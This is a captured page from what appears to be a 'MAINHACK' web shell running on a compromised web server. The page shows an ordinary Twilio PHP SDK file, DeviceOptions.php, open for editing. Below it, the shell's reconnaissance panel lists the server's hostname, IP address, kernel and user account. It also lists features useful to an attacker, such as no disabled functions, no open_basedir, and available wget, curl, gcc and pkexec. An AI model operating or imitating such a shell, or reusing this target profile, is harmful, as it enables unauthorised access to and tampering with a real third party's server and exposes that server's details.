[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DeviceOptions.php
<?php /** * This code was generated by * \ / _ _ _| _ _ * | (_)\/(_)(_|\/| |(/_ v1.0.0 * / / */ namespace Twilio\Rest\Microvisor\V1; use Twilio\Options; use Twilio\Values; /** * PLEASE NOTE that this class contains preview products that are subject to change. Use them with caution. If you currently do not have developer preview access, please contact help@twilio.com. */ abstract class DeviceOptions { /** * @param string $uniqueName A unique, developer-assigned name for this Device. * @param string $targetApp The target App SID or unique name. * @param bool $loggingEnabled Whether to enable logging. * @return UpdateDeviceOptions Options builder */ public static function update(string $uniqueName = Values::NONE, string $targetApp = Values::NONE, bool $loggingEnabled = Values::NONE): UpdateDeviceOptions { return new UpdateDeviceOptions($uniqueName, $targetApp, $loggingEnabled); } } class UpdateDeviceOptions extends Options { /** * @param string $uniqueName A unique, developer-assigned name for this Device. * @param string $targetApp The target App SID or unique name. * @param bool $loggingEnabled Whether to enable logging. */ public function __construct(string $uniqueName = Values::NONE, string $targetApp = Values::NONE, bool $loggingEnabled = Values::NONE) { $this->options['uniqueName'] = $uniqueName; $this->options['targetApp'] = $targetApp; $this->options['loggingEnabled'] = $loggingEnabled; } /** * A unique and addressable name to be assigned to this Device by the developer. It may be used in place of the Device SID. * * @param string $uniqueName A unique, developer-assigned name for this Device. * @return $this Fluent Builder */ public function setUniqueName(string $uniqueName): self { $this->options['uniqueName'] = $uniqueName; return $this; } /** * The SID or unique name of the App to be targeted to the Device. * * @param string $targetApp The target App SID or unique name. * @return $this Fluent Builder */ public function setTargetApp(string $targetApp): self { $this->options['targetApp'] = $targetApp; return $this; } /** * A Boolean flag specifying whether to enable application logging. Logs will be enabled or extended for 24 hours. * * @param bool $loggingEnabled Whether to enable logging. * @return $this Fluent Builder */ public function setLoggingEnabled(bool $loggingEnabled): self { $this->options['loggingEnabled'] = $loggingEnabled; return $this; } /** * Provide a friendly representation * * @return string Machine friendly representation */ public function __toString(): string { $options = \http_build_query(Values::of($this->options), '', ' '); return '[Twilio.Microvisor.V1.UpdateDeviceOptions ' . $options . ']'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.29 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002